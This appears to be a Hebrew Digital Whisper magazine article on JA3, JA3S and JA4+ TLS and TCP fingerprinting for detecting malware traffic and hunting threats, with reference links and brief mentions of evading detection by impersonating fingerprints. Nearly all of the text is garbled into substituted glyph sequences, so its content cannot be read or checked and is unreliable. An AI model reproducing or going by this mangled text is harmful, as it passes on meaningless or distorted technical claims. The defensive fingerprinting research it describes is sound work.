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 ˸˧˸ˣ˩˞˪ˬ ˢˮ˧˟˟ ˭˞˩ ˷ˬ˸˷ˢ˪ ˢ˶˧˥˟ˢ ,˟˸˩˟ ˧ˣ˦˧˟ - ˞˧ˢ  !ˢ˪ˣ˰ˬ 
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¶  s ˬˠˣˡ   l ˧˴˪   ˫ ˰  JA4+  -   s ˬˠˣˡ  ˷ˣˬ˧˷˪  π˟Arkime   ˪ ˰  ˸ˮˬ   l ˣ˴˪   s ˶ˣ˟˰˸   ˸ ˧ˮˣˡˤ   ˸ ˣ˰˴ˬ˞˟  ˸ˣˬ˧˸˥   sπ
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˸ˣˤ˥˸ˢ ˶˴ˣˬ˪  ˪˷  MicrosoftΦ 

¶ ˥ˣ˸˧ˮ  PCAP ˫˧˪˩˟  ˫ ˧ˬˡ˵˸ˬ - ˥ˣ˸˧ˮ  ˱˯ˣ˞˪ ˸ˣ˞˶˸ˢˢ ˧˰ˣˮˬˬ Zeek/Suricata Φ 
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˫˧˷ˬ˸˷ˬˢ  ˢˮˠˢˣ ˪˰  ˫ ˧ˮˣ˸ˮ ˫˧˷˧ˠ˶ Σ ˨ ˞  s ˶˴˧ ˶ˠ˸˞  ˧ ˸ˣ˰ˬ˷ˬ ˶ˣ˟˰  ˧˸ˣˣ˴ ˢ˥˦˟˞ Φ 

 ˫ ˧˲˵ˣ˸ˢ  ˫˧˪˴ˮˬ  ˸˶ˣ˷˵˸  ˣˤ  ˪˰   ˸ ˮˬ   ˸ ˣˣ˯ˢ˪   ˸ ˞   ˸ ˣ˟˵˰ˢ  ˫ˢ˷  ˫˧˶˧˞˷ˬ  ˸˷˶˟  Σ˶˟ˡ  ˳˪˞ˬ˷  ˣˮ˸ˣ˞   ˷ ˲˥˪  

ˢ˧˪ˬˣˮ˞  ˧˲˪   ˸ ˣ˵˧ˮ˩˦ξ˸ˣ˵˧˦˵˦  ˸ˣ˪ˣ˰˲ˣ  ˸ˣ˧ˮˣˡˤ  ˸ˣ˰ˣˡ˧  ύ¢¢t  όπ  ˶ˣ˵ˬ  Φ˨˧˪ˢ˸  ˥ˣ˸˧ˮ  ¢¢t  ˣˮ˧ˢ  ˟˩˶ˣˬ  ˡˣ˞ˬ  Σ

˭˩˪ˣ  ˫˞  s ˧ˢ˸ ˣˮ˪   ˨ ˶ˡ  ˫ ˣ˸˥˪ ˫˧˪˩   ˪ ˷  ˸ ˣ˴ˣ˟˵ ˢ˲˧˵˸ Σ ˪ ˩ˣˮ ˪˧˪˲ˢ˪  ˸˞ ˸˶ˣ˷˵˸ˢ ˸ˮ˲˴ˣˬˢΦ ύ˶ˣ˵ˬ ό 

 ˵ ˶˲˟  ˞ ˟ˢ  s ˞˶ˮ ˡ˴˧˩  W!оκ{  ˪˩ˣ˧   ˶ ˷˲˞˪  x ˮ˪   l ˵ˬ˸ˢ˪ ˶ˠ˸˞˟   - ¢ƻƻƭǎ  Σ˪˷˟ ˢˡ˟ˣ˰ˢ   ˸ ˶ˣ˷˵˸ˢ˷ ˸ˮ˲˴ˣˬ Φ 

 

 

 

¢[{ ±ǎ W!оκ{ 

˭˲ˣ˞ ˸˪ˣ˰˲ ˪ˣ˵ˣ˦ˣ˶˲ ¢[{ ˶˞ˣ˸ˬ  ˫˧˷˶˸˟ ˞˟ˢΥ  

 

http://www.digitalwhisper.co.il/
https://www.splunk.com/en_us/blog/learn/ttp-tactics-techniques-procedures.html
https://www.keysight.com/blogs/en/tech/nwvs/2024/06/26/ja3-randomization
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¶ ˶ˣ˟˰  ˨˷ˬˢ  ˶ˬ˞ˬˢ  ˟ˣ˷˥  ˣˮ˪  ˫˧˷˪  ˟˪  ˧˩  п  ˫˧˩˧˪ˢˢ˸ˢ  ˫˧ˮˣ˷˞˶ˢ  ύClient/Server Hello  ό˸˶˟˰ˢˣ  

˰ˡ˧ˬˢ  ˧ ˡˡˢ ύKey/Cipher Suite ό˫ˮ˧ˢ ˰ˡ˧ˬ  Plain-textΦ 

 

˶˷˞˩   ˫ ˧˷˲˥ˬ  ˶˥˞  ˫ˣ˧˞   ˰ ˡ˧ˬ˟  ˷˧˷   ˸ ˶ˣ˟˰˸˟  ˸˷˶  Σ˰ˡ˧ˬˢ  ˨˲ˣˢ   ˪Ϧ s ˯˲ˣ˵  ˢ˶ˣ˥˷  Ϧ -  ˶˟ˡ   ˰ ˠˣ˲ˢ   ˸ ˣ˦˧˷˟  

˶ˣ˦˧ˮˢ  ˸ˣ˧˸˶ˣ˯ˬˢ  Φˣ˪˞  ˸ˣ˯˯˟˸ˬ  ˪˰  ˥ˣ˸˧ˮ  ˭˩ˣ˸  ˰ˡ˧ˬˢ  ˢ˦˵˞˲˟  ˧ˣˢ˧ˤ˪  ˸ˣ˪ˣ˰˲  ˸ˣ˧ˮˣˡˤ  π  ˨˩   ˸ ˪ˣ˩˧ˢ˷  

˭˧˥˟ˢ˪ ˭˧˟ ˢ˶ˣ˟˰˸ ˸˧ˬ˧˦˧ˠ˪   ˸ ˧ˮˣˡˤ˪  ˸ ˸˥ˣ˲ ˸˧˸ˣ˰ˬ˷ˬ Φ 

˧ˡ˩  ˡˡˣˬ˸ˢ˪   ˫ ˰   ˶ ˠ˸˞  ˢˤ  Σ˥˸ˣ˲  Ϧ˰ ˧  {ŀƭŜǎŦƻǊŎŜ  ˫˸˧˶ˣˠ˪˞  πsW!о  -  ˣˡˣ˰˧˧   ˞ ˣˢ   ˫ ˣ˸˥˪   ύCƛƴƎŜǊǇǊƛƴǘ  ό ˰ ˡ˧ˬ  

 ˞ ˪˷  ˭˲˴ˣˢ   ˸ ˶ˣ˟˰˸˟   ˸ ˷˶ˢ   ˭ ˧˟  ˥ˣ˵˪  ˸˶˷˪Φ  s ˶˦ˬˢ   ˞ ˧ˢ  ˥˧˪˴ˢ˪   ˸ ˣˢˤ˪   ˧ ˬ   s ˬˣ  ˶˷˵˸ˬ   ˟π¢[{   ˪ ˰   ˨ ˬ˯  

˸˶ˣ˷˵˸  ˸ ˧˲˧˴˲˯ ˭˧˟  ˥ˣ˵˪π˸˶˷Φ 

˧ˠˣ˯ ˸ˣˬ˧˸˥ˢ  ˭ ˢ Υ 

¶ JA3  π  ˸˪˧˥˸  ˸˥˧˷  TLS  -  ˥ˣ˵˪ˢ  ˥˪ˣ˷  ˸˦˵˞˲  TLS Client Hello  ˡ˧ˬ  ˶˥˞˪   sπ 

TCP 3-way handshakeΦ 

¶ JA3S π ˢˡ˧ˬ˟ ˸˶˷ˢˣ  ˪ ˟˵ˬ  ˸˞ ˫˧˴ˣ˪˧˞ˢ ˞ˣˢ ˟˧ˠ˧ ˸˦˵˞˲˟ TLS Server Hello   

˪˰ ˸ˮˬ   ˷ ˧˥ˬˢ˪ ˸˞ ˸ˣˬ˩ ˸ˣ˞˶˸ˢˢ ˸ˣ˰˟ˣˮˢ ˧ˣˢ˧ˤˬ W!о  ύ˥ˣ˵˪  όˡ˟˪˟  ύ˶ˣ˟˰ tȅǘƘƻƴ Υό 

 

 

ˢˡ˧ˬ˟  ˟ ˪˷ˮˣ ˫ˠ  ˢˬ˧˸˥ ˪˷  ˡ˴  ˸ ˶˷ˢ ύW!о{ ό ˪ ˩ˣˮ  ˸ ˣ˞˶˪  ˧˩ ˢ˧˪ˬˣˮ˞ˢ ˢ˪˧˥˸ˬ ˱˷˥˧ˢ˪Υ  

 

˨˩   ˭ ˸˧ˮ   ˭ ˧˟ˢ˪   ˧ ˩   x ˮ˞   ˫ ˧˞ˣ˶  ˸˞   ˨ ˧˪ˢ˸  πs.ŜŀŎƻƴ  ˸˰˴˟ˬ˷  ˢ˵ˤˣˮˢˢ  ύˢ˸ˬ˧˸˥˷  ˢˢˤ  π˪ tȅǘƘƻƴ /ƭƛŜƴǘ   -  

ˢˬ  ˶ ˴˧˧ˬ˷  ˭ ˣˬˢ ˸ˣ˞˶˸ˢ ό ˪ ˞ ˪ˣˬ  ˸˶˷ sπ/н ˢ˪˷  ύ˪˰˟ ˸ˬ˧˸˥ W!о{ ˸˧ˡˣ˥˧˧ Φό 

http://www.digitalwhisper.co.il/
https://github.com/salesforce/ja3
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˟ˣ˪˧˷ ˸ˬ˧˸˥  W!о  πxW!о{ ˶˷˲˞ˬ ˫ˣ˸˥˪  ˸˞  ˨ ˧˪ˢ  ˸ ˶˟˰ˢ  ˰ ˡ˧ˬ  ˧ ˲˶ˠˣ˦˲˧˶˵ ˭˧˟  ˥ˣ˵˪ ˸˶˷˪Φ  

ˢˬˠˣˡ   ˸ ˧ˬ˧˦˧ˠ˪ -  ¢ƻǊ .ǊƻǿǎŜǊΥ  

 

ˢˬˠˣˡ ˸˧ˮˣˡˤ  - ¢ǊƛŎƪōƻǘκ9ƳƻǘŜǘ aŀƭǿŀǊŜΥ  

 

 

˵˶˲˟ ˞˟ˢ ˶˞˸ˮ ˡ˴˧˩ ˸ˮ˟ˮ  ˸ˬ˧˸˥ W!о  ˨ ˧˞ˣ  ˭ ˥˟ˮ ˢ˸ˣ˞ Φ 

W!о - ˢ˵ˬ˰ˢ 

˪˰ ˸ˮˬ  ˭˧˟ˢ˪ ˡ˴˧˩ ˢˬ˧˸˥ˢ  ˸ ˰˟˵ˮ  ˫ ˧˷ˮ  ˟ ˪ ˸ˣˡ˷˪ ˞˪ˢ ˫˧ˮ˲˴ˣˬ ˪˷ ˸˶ˣ˷˵˸  ¢[{ Υ 

¶ ˸˞˯˶ˠ ˢˮ˲˴ˢ ύVersion  ό-  ˸ ˣ˞˯˶ˠ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ˣˮˣ˷ˢ  ύмΦлΣмΦмΣмΦнΣмΦо Φό 

¶ ˸˪˧˟˥  ˸ˣˮ˲˴ˢ  ύCipher Suites  ό-  ˱˯ˣ˞  ˫˧ˬ˸˧˶ˣˠ˪˞  ˫˧˧˲˶ˠˣ˦˲˧˶˵  ˫˧ˮˣ˷  ˫˧˷ˬ˷ˬˢ  ˸ˮ˲˴ˢ˪   ˰ ˡ˧ˬˢ  

ˢ˥˧˷˟ Φ 

¶ ˪ˡˣˠ  ˪ ˪ˣ˩ ˫˧ˮˣ˸ˮ˪ ˨ˣ˸˟ ˸ˣ˲˯ˣ˸ˢ ύExtension Length Φό 

¶ ˸ˣ˲˯ˣ˸ˢ  ύExtension Φό 

˱ˣ˯˟˪  Σ˪˰ ˸ˮˬ   ˪ ˟˵˪ ˸˞  ˸ˬ˧˸˥ sπW!о ˰˴˟˸ˬ  a5р IŀǎƘ ˪˰ ˸ˤˣ˶˥ˬˢ ˢˬ˧˞˸ˬˢΦ 

http://www.digitalwhisper.co.il/
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˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  мо 
 

 

 

ˢˬˠˣˡ˪Υ 

 

 

˶˥˞˪ˣ  a5р Υ   

 

 

 x ˞ˣ˟  ˫ ˧˷ˮ  ˟ ˪ ˣˢ˷ˬ˪  ˭ ˧˧ˮ˰ˬΥ 

˫˞ ˡ˧˶ˣˮ  ˸˞ ˸ˣ˟˥˶ˢ sπ¢[{  ˢ˞˴ˣ˸ˢ ˢ˞˶˸ ˨˩ Υ  

 

˫˞ ˷˲˥ˮ  ˢ˸ˣ˞  l ˥˞˟  ˫ ˧˶ˠ˞ˬˢˬ ˫˧˷˧ˠˮˢ ˶ˣ˵ˬˢˬ ˢ˞˶ˮ  ˸˞ ˢ˞˴ˣ˸ˢ ˢ˞˟ˢ Υ 

Mozilla / 4.0  (compatible; MSIE 6.0  or  MSIE 7.0 ; Windows NT 5.2 ; SV1; .NET CLR 
1.1 . 4322; .NET CLR 2.0 . 50727; .NET CLR 3.0 . 04506.648 ; .NET CLR 3.5 . 21022), 
Malware Test  FP: angler - ek- malware- payload - sandbox- analysis - winxp, smoke -
loader - post - infection - traffic "   

http://www.digitalwhisper.co.il/
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 x ˞ˣ˟ ˪˞˷ˮ ˢ˪˞˷ ˸ˬ˩˥˸ˬ Υ 

ˢˬ  ˰ ˮˣˬ ˱˵ˣ˸ˬ  ˦ˣ˷˲ ˵˥˷˪ ˫˰ ˧˩˶˰   s ˬ˧˸˥ˢ ˧ˡ˩  ˵ˬ˥˸ˢ˪ ˧ˣˢ˧ˤˬ Κ 

˵˶˲˟ ˞˟ˢ  ˠ˧˴˞  ˸ ˞  ˸ ˣ˷˪ˣ˥  ˸ˬ˧˸˥ W!о Φ 

˨˧˞ ˱˵ˣ˸ ˪˴ˮ˧ W!о Κ 

˫˸˧˶ˣˠ˪˞  W!о  ˥˵ˣ˪  ˸˞  ˰ˡ˧ˬˢ  ˰˧˲ˣˬ˷  ˸ˣ˦˵˞˲˟  πs/ƭƛŜƴǘ IŜƭƭƻ  ˣ ˶ ˴˧˧ˬ  ˫˶ˣ˟˰  ˸ˤˣ˶˥ˬ  ˫˞˸ˢ˟   ˶ ˡ˯˪  

˫˸˰˲ˣˢ Υ  

 

 

˸ˤˣ˶˥ˬˢ ˮˢϦ˪  ˸ ˬ˸˥ˮ ˸ˣ˰˴ˬ˞˟  ˫˸˧˶ˣˠ˪˞  a5рΦ  

 

˶˟ˡ ˢˤ   ˶ ˷˲˞  ˶ ˴˧˧˪ ˸ˬ˧˷˶  ˪˷ /ƭƛŜƴǘǎ ˫˸ˬ˧˸˥˷  ˸ ˶˩ˣˬ ύ˶ˣ˵ˬ Υό  

 

 

˫˧˷ˮ ˟˪  ˯ˬ˪ ϥ˸ˣˬ˧˸˥ ˸ˣˮˣ˷   ˶ ˣ˟˰ ˣ˸ˣ˞ /ƭƛŜƴǘ Φ 

http://www.digitalwhisper.co.il/
https://raw.githubusercontent.com/salesforce/ja3/refs/heads/master/lists/osx-nix-ja3.csv
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˟˪˷˟  ˫˧ˣ˯ˬ  ˣ˷˶ˡˮ  ˧˶˴ˣ˧  ˫˸˧˶ˣˠ˪˞ˢ  ˯˥˧˧˸ˢ˪  ˢˡ˟ˣ˰˪  ˪ˠˣˠ˷  ˢˠ˧˴ˢ  ˢ˦˧˷  ˢ˧˴ˤ˧ˬˣˡˮ˶˪  ˪˷  ˸ˣ˟˥˶ˢ  πs¢[{  

ύ ˶ ˣ˵ˬΦό ˢ˶˦ˬ˟   ˰ ˣˮˬ˪  ˫ ˧˪˷˩  ˫ ˧˰˟ˣˮˢ ˸ˣ˞˯˶ˠˬ sπ¢[{ ˸ˣˮˣ˷ˢ . 

ˢ˩˧ˬ˸  ˣˤ  ˢ˰ˠ˲   ˸ ˪ˣ˩˧˟   ˶ ˣ˦˧ˮ  ˯˯ˣ˟ˬ  W!оκ{  Σ˭˩˷  ˢ˸ˣ˞˪   s ˶ˣ˟˰˸  ˸ˣ˪ˣ˩˧  ˰˧˲ˣˢ˪  ˯ˬ  ϥ˸ˣˬ˧˸˥Φ ˱˯ˣˮ˟  Σ x ˴˴  

˫˧˪˩ ˫˧˶˷˲˞ˬ˷  ˱˵ˣ˸˪  ˸ˣ˵˥˪ ˸ˣˬ˧˸˥ W!о  Σˢ˶˦ˬ˟ ˵ˬ˥˸˧ˢ˪ ˶ˣ˦˧ˮˬ ˯˯ˣ˟ˬ  ˢˬ˧˸˥ Φ 

¶ ˶ˣ˵ˬ  - Imparsonating JA3 Fingerprints 

¶ ˸ˣ˞ˬˠˣˡ ˸ˣ˧˦˵˶˲  -  ˪ ˷ˬ˪ ˸ˣ˷˰˪  ˷ ˣˬ˧˷ ˟ πPython Client 

˨˧˞ ˰ˡˮ ˶˟˩ ˣ˧˷˩˰  ˡˡˣˬ˸ˢ˪  ˫˰ ˢˡ˟ˣ˰ˢ  π˷W!о ˡ˰ˣˮ  ˨˩˪  ˫˧˲˵ˣ˸˷  ˣ˵˥˧  x ˸ˣ˞ Κ 

¶ ˵ˤ˥˸ˮ ˢˬ˧˷˶ ˪˷ ˫˧˩˧˪ˢ˸  ˣˮ˞˷ ˫˧˶˧˩ˬ  ˸˞ ˫˸ˬ˧˸˥ ˸˶ˣ˷˵˸ˢ ˫ˢ˪˷ Φ 

¶ ˢˡ˧ˬ˟ ˫˧˧˵ˣ  ˨ ˧˪ˢ˸ ˞˪  ˶ ˩ˣˬ  ˢ˷ˣ˰˷ ˷ˣˬ˧˷  ˢˬ˧˸˥˟  - ˸ˣ˪˧˰˲ ˢˡˣ˷˥ ˩πJA3 ImpersonatingΦ  

˵˶˲˟ ˞˟ˢ  ˠ˧˴˞  l ˴˧˩  ˭ ˸˧ˮ ˡˡˣˬ˸ˢ˪  ˫˰ ˢ˷˪ˣ˥ˢ ˮˢϦ˪  Ϧ˰ ˧   ˷ ˣˬ˧˷ ˟πW!пҌ Φ 

 

W!о ±{ W!п 

W!о ˶˷˲˞ ˢˮˣ˷˞˶˪ ˸ˣˢˤ˪  ˸ˣ˥ˣ˵˪ ¢[{  ˭˲ˣ˞˟ ˧˟˧˯˲  ΦϦ˧˰ ˸ˬ˧˸˥ ˸ˣˡ˷  ˫ ˧˧˲˧˴˲˯ ˸˰ˡˣˢ˟ /ƭƛŜƴǘIŜƭƭƻ   ˪ ˷  

¢[{ ˸ˣ˰˴ˬ˞˟  a5р Φ 

ˤ˞ˬ  ˠ˴ˣˢ˷  ˢˮˣ˷˞˶˪   ύнлмт  Σό˫˧ˮˡ˲ˡ  ˫˧˧ˮ˶ˡˣˬ  ύˢˬˠˣˡ˪  Υ/ƘǊƻƳƛǳƳ  όˣ˪˥ˢ  ˟˟˶˰˪   ˸ ˞  ˶ˡ˯  ˸ˣ˟˥˶ˢ   sπ

[{¢  ύ˶ˣ˵ˬ  Σό˶˟ˡ  ˰˧˲˷ˬ˷   ˪ ˰  ˸ˬ˧˸˥  πsW!о  ύ ˭ ˩˷   ˞ ˣˢ   ˧ ˣ˪˸   ˶ ˡ˯˟  Φόˢ˶ˣ˟˰˸   ˸ ˧ˬ˧˦˧ˠ˪  ˢ˵˧˲ˢ   ˸ ˣˬ˸ˣ˥   ˸ ˣˮˣ˷  

π  ˶ ˟ˡ  ˪ ˧˟ˣˢ˷ ˧ˣˢ˧ˤ˪  ˞ˣˣ˷  ˫˧˟˶ ˢˡ˧˶˧ˣ  ˸ˣ˪˧˰˧˟ ˧ˣˢ˧ˤˢ  ύ˶ˣ˵ˬ Φό˪˷ˬ˪ Υ 

¶ ˱˯ˣ˞ ˫˧˶˦ˬ˶˲ ˭˦˵ ˫˶ˣˠ ˪πClients ˫˧ˮˣ˷  ˭˧˦ˣ˪˥˪ ˵˧˲ˢ˪ ˢ˸ˣ˞ ˸ˬ˧˸˥ JA3 - ˶˟ˡ ˪ˣ˪˰˷  ˪˧˟ˣˢ˪ ˪πFP  

˟˶˵˟  ˫˧˸ˣ˶˧˷  ˫˧ˬ˧˦˧ˠ˪  ˫˸ˬ˧˸˥˷  ˢˢˤ  ˪˷˪  ˢ˵ˤˣˮΦ  ˫˞˸ˢ˟  Σ˱˵ˣ˸  ˪ˣ˩˧  ˫ ˧˞˸ˢ˪  ˸˞  ˣ˸ˬ˧˸˥  ˣˤ˪   ˪ ˷  

˸ˣ˶˧˷ ˧ˬ˧˦˧ˠ˪ ύJA3 Imparsonate Φό 

¶ ˪˟ˠˣˬ ˵˶  ˸ˬ˧˸˥˪ ˸ˣ˦˵˞˲  Hello ˟ πTLS Φ 

¶ ˞˪ ˪ˠˣ˯ˬ  ˵˲˯˪ ˰ˡ˧ˬ   ˪ ˰ ˫˞ˢ ˸˶ˣ˷˵˸ˢ  ˸ ˰˴˟˸ˬ ˨˶ˡ VPNΦ 

¶ ˶˯ˣ˥   ˦ ˶ˡˮ˦˯˟ ˡˣ˥˞  - ˭˧˞ ˶ˠ˞ˬ   ˭ ˧ˬ˞ ˪˷˟  ˫ ˧˶˰˲ˢ ˣˠ˴ˣˢ˷ Φ 

 ˫ ˪ˣ˰˟   x ˟  .ƻǘƴŜǘǎ  ˫˧˪˴ˮˬ  ˸˞   ˸ ˣ˷˪ˣ˥ˢ  ˮˢϦ ˪  Σ ˷ ˶ˡˮ  ˣˮ˸˧˞ˬ   ˰ ˴˟˪  ˥ˣ˸˧ˮ  ˟˶π˧ˡˬ˧ˬ  ˪˰   ˸ ˮˬ   ˫ ˸ˣˢˤ˪   π  

 l ˵ˬ˸ˢ˪ ˨˧˞˟  ˧ˬˣ Φ 

˪˰  ˸ˮˬ   l ˡˣˬ˸ˢ˪  ˫˰   ˫ ˧˶˰˲ˢ  ˮˢϦ˪  Σˣ˥˸˧˲  π˟CƻȄLh  ˸˞  ˶ˣˡˢ  ˞˟ˢ  ΣW!п  π  ˣ˸ˣ˞  ˣˠ˧˴ˢ   ˵ ˪˥˩   ˸ ˪˧˟˥ˬ  πsW!пҌ  

ύ ˶ ˣ˵ˬ  Φό ˫ ˸˶˦ˬ  ˢ˸˧ˢ   ˵ ˲˯˪  ˸ˣˬ˸ˣ˥  ˸ˣ˵ˤ˥   ˸ ˣ˞˧˶˵ˣ   ˶ ˸ˣ˧  ˫˧˪ˣ˵ˣ˦ˣ˶˲˪   ˫ ˧ˮˣ˷   -   ˧ ˡ˩˟  ˨ˣˬ˸˪  ˸˞   ˥ ˣ˸˧ˮˢ  

˟˶ˢπ˧ˡˬ˧ˬ Φ 

 

 

 

http://www.digitalwhisper.co.il/
https://github.com/salesforce/ja3/tree/master/lists
https://medium.com/cu-cyber/impersonating-ja3-fingerprints-b9f555880e42
https://www.zenrows.com/blog/what-is-tls-fingerprint#python
https://hnull.org/2022/12/01/sorting-out-randomized-tls-fingerprints/
https://fingerprint.com/blog/limitations-ja3-fingerprinting-accurate-device-identification/
https://blog.foxio.io/ja4+-network-fingerprinting
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ˢ˪˟˦˟ ˢ˞˟ˢ ˪˩ˣˮ  ˸ˣ˞˶˪   ˸ ˞  ˧ ˶˵˧˰ ˸ˣˮˣ˶˯˥ˢ  ύW!о ό˪˞ ˪ˣˬ ˸ˣˮˣ˶˸˧ˢ  ύW!пҌ ό ˭ ˧˟ н ˸ˣ˦˧˷ˢ Υ 

 

ϐ˶ˣ˧˞ м π˫˧˪ˡ˟ˢ ˫˧˧˶˵˧˰ ύ˶ˣ˵ˬ ώό 

 

˵˶˲˟ ˞˟ˢ  ˦˶˲˞ ˪˰ ˸˪˧˟˥ W!пҌ  ˪˰ˣ ˭˲ˣ˞ˢ x˟ ˸˟˩˶ˣˬ ˢˬ˧˸˥ˢ ˢ˷ˡ˥ˢ  ˰ˡ˧ˬ˪  ˸˶ˣ˟˰˸˟ ˸˷˶ Φ 

 

W!пҌ  π ˶ˣˡˢ ˞˟ˢ ˸ˬ˧˸˥˪ ˢ˶ˣ˟˰˸  ˸ ˧ˮˣˡˤ 

CƻȄLh ˣˠ˧˴ˢ ˱˯ˣ˞  ˸ ˣˬ˧˸˥ ˶˷˲˞ˬˢ   ˵ ˧˲ˢ˪ ˰ˡ˧ˬ ˟˶ ˸˶ˣ˟˰˸ˬ   ˸ ˷˶Υ  

 

 

˶ˠ˞ˬ ˸ˣˬ˧˸˥ˢ ˸ˣ˶˩ˣˬˢ ˞˴ˬˮ ˵ˤ˥ˣ˸ˬ ˶˸˞˟ ƧŀпŘōΦŎƻƳ Φ  

 

 

 

 

 

http://www.digitalwhisper.co.il/
https://hunt.io/glossary/ja4-fingerprinting
https://ja4db.com/
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ˢˬˠˣˡ  ˷ˣˬ˧˷˪  ˸ˣˬ˧˸˥˟ ˸ˣˮˣ˷ ˧ˣˢ˧ˤ˪  ˸ ˣ˵ˤˣˮξ˭˲ˡ˲ˡξ±tb  ˣ˩ˣΥϥ 

 

 

˧ˣˢ˧ˤ   ˧ ˸˶˷ /н  ˧ ˲˪ ˸ˣˡˣ˰˸ ύW!п· Υό 

 

 

 ˪ ˷ˬ˪ Σ ˸ ˬ˧˸˥ W!п¢ Υ 

 

 

˫˧˷ˮ   ˟ ˪  ˧˩  ˭˧˞   s ˲   ˧ ˢ˷ˣˤ˧˞   ˸ ˪ˣ˰˲  IŀǎƘ  ˪˰  ˭˩ˣ˸ˢ  Σ ˞ ˪˞  ˟ˣ˪˧˷   ˫ ˧˩˶˰   ˸ ˶ˣ˟˰˸ˬ  ˰ˡ˧ˬˢ  ˧ˡ˩˪   ˸ ˤˣ˶˥ˬ  

˸˶˷˲˞ˬˢ  ˣˮ˪   ˫ ˠ˶˸˪ ˢ˸ˣ˞Φ 

http://www.digitalwhisper.co.il/
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˪˩ˣˮ ˫ˠ˶˸˪   ˸ ˣˬ˧˸˥ ¢/t ύ˶ˣ˵ˬ Υό  

 

 

 

˭˸˧ˮ ˵˧ˬ˰ˢ˪ ˦˯ˣ˲˟ ˞˟ˢ ˶˞˷˟ ˸ˣ˟˥˶ˢˢ ˸˪˧˟˥˟  W!пҌ  ˣ˞ ˶ˣ˵ˬ˟Φ 

˨˷ˬˢ˟   ˶ ˬ˞ˬˢ   ɣ ˧˴˞  ˢˬˠˣˡ   l ˧˴˪   ˯ ˯ˣ˟ˬˢ   ˥ ˣ˸˧ˮ  ˟˶π˧ˡˬ˧ˬ  ˪˷   ˰ ˡ˧ˬˢ   ˵ ˲ˣˬˢ  ˸˪˧˟˥˟  W!пҌ  Φˢ˞˶ˮ   l ˴˧˩  

 ˭ ˣ˶˸˧ˢ ˪˷ W!пҌ  ˧ˣˢ˧ˤ˟ ˢ˧˪ˬˣˮ˞ ˫ˣ˴ˬ˴ˣ CŀƭǎŜπǇƻǎƛǘƛǾŜǎ ˞˟  ˧ ˡ˧˪ ˧ˣ˦˧˟  ˢ˵˧˦˵˶˲˟ Φ 

˸˰˩  ˨˧˷ˬˮ   ˶ ˬ˞ˬ˟  π˪IŀƴŘǎπhƴ   ˶ ˷˲˞˧˷   x ˮ˪   ˷ ˣ˥˪   ˨ ˧˞  ˫˧ˡ˟ˣ˰   ˫ ˰  ˸ˣˬ˧˸˥  W!о Σ   ˧ ˣˢ˧ˤˣ   s ˧˪ˬˣˮ˞   ˸ ˪˪˲ˢ˪  

˸ˣ˟ˣ˸˩ Lt Φ 

 

 

˯˧˯˟ - IŀƴŘǎπhƴ W!о ύ9ah¢9¢ ²ƛǘƘ /ƻōŀƭǘ{ǘǊƛƪŜό 

˪˩   l ˥˞  ˣˮ˸˧˞ˬ  ˪ˣ˩˧  ˪˧˥˸ˢ˪   l ˣ˴˪  ˢ˶ˣ˟˰˸   ˸ ˧ˮˣˡˤ  ˣ˪˧˲˞ˣ  ˠˣˣ˯˪  ˢ˸ˣ˞  ˢ˶ˣ˴˟  ˢˬ˧˞˸ˬ  ˢˡ˧ˬ˟  ˞ˣˢˣ  ˪ˢˮˬ  ύ x ˞  

˞˪ό  ˶ ˠ˞ˬ Lƻ/ ύ ˪ ˷ˬ˪ ˯˯ˣ˟ˬ  aL{t  -  ˞˪  ˦˶˲˞  ˪˰  ˨ ˩ ˶ˬ˞ˬ˟ ˢˤΦό 

Lƻ/  ˣˮ˧ˢ  ˶ˣ˦˵˧ˡˮ˧˞  ˢ˴˧˶˲˪   ύLƴŘƛŎŀǘƻǊ ƻŦ /ƻƳǇǊƻƳƛǎŜ  Φό˸ˣ˞˴ˬ˧ˢ  ˣ˪˷  ˢ˟˧˟˯˟  ˢ˸ˣ˞  ˣˮ˞  ˫˧˶˵ˣ˥   ˪ ˣ˩˧  

ˡ˵ˬ˪  ˣˮ˸ˣ˞  ˸ˣ˪ˣ˰˲˪  ˸ˣ˧ˮˣˡˤ  ˣ˞  aŜǘŀŘŀǘŀ   ύ˪˷ˬ˪  ˸˟ˣ˸˩  LtκW!о  ό˧ˮˣˡˤΦ  ˸˞  ˸ˣ˟ˣ˸˩ˢ  ˭˸˧ˮ  ˵ˣˡ˟˪  ˟ ˶ ˣ˵ˬ  

˞˟ˢ ˪πLƻ/  ˸˞ˣ   ˸ ˣˬ˧˸˥ sπW!о  ˸ ˣˡˣ˷˥ˢ ˟˶ˣ˵ˬ ˞˟ˢ Φ 

ˢˬ ˢ˷˰ˮ ˫˞ sπW!о  ˞˪  ˰ ˧˲ˣˬ ˶ˠ˞ˬ˟ ˧˩  ˣˮ˥ˮ˞ ˫˧˵˯ˣ˰  ˧˟˧˩˶˟ ˸˷˶  ˞˪ ˫˧˶˩ˣˬ  ύ ˥ ˣ˵˪ξ˸˶˷όξ˰ˣ˶˧˞  ˷ ˡ˥ Κ 

 

˵˶˲˟ ˞˟ˢ ˢ˞˶ˮ  l ˴˧˩ ˪˩ˣˮ  ˡ˧˷˥ˢ˪  ˸ˣ˰˴ˬ˞˟ ˥ˣ˸˧ˮ  ˸ ˣ˧ˣ˶˧ˡ˸  ˪ ˷ ˸ˣˬ˧˸˥ sπW!о ˟ πt/!t ˭˥˟ˮ˷Φ   

 

 

 

 

 

 

http://www.digitalwhisper.co.il/
https://blog.foxio.io/ja4t-tcp-fingerprinting
https://x.com/4A4133/status/1887269972545839559
https://blog.foxio.io/ja4+-network-fingerprinting
https://threatfox.abuse.ch/browse.php
https://threatfox.abuse.ch/browse.php
https://sslbl.abuse.ch/ja3-fingerprints/
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ˢˬˠˣˡ ˧ˣˢ˧ˤ˪ ˢ˶ˣ˟˰˸ ˸˧ˮˣˡˤ ˫˰ W!о 

ˢˬˠˡˢ  ˣˤ  ˢ˞˶˸  ˸˞  ˸ˣ˪˵  ˢ˪˪˲ˢˢ  ˪˷   ˸ ˣ˟ˣ˸˩  Lt   ˟πt/!t  ˪˰  ˧ˡ˧   ˨ ˣ˧˷  ˸ˣˬ˧˸˥  W!о  π˪Lƻ/  Φ ˸ ˣ˰˴ˬ˞˟  

²ƛǊŜǎƘŀǊƪ ˪˩ˣˮ  ˸ˣ˞˶˪ ˧˩  ˟ ˣ˶ ˸˶ˣ˷˵˸ˢ  ύун҈  όπ˟t/!t ˸˯˯ˣ˟ˬ ¢[{Υ  

 

 

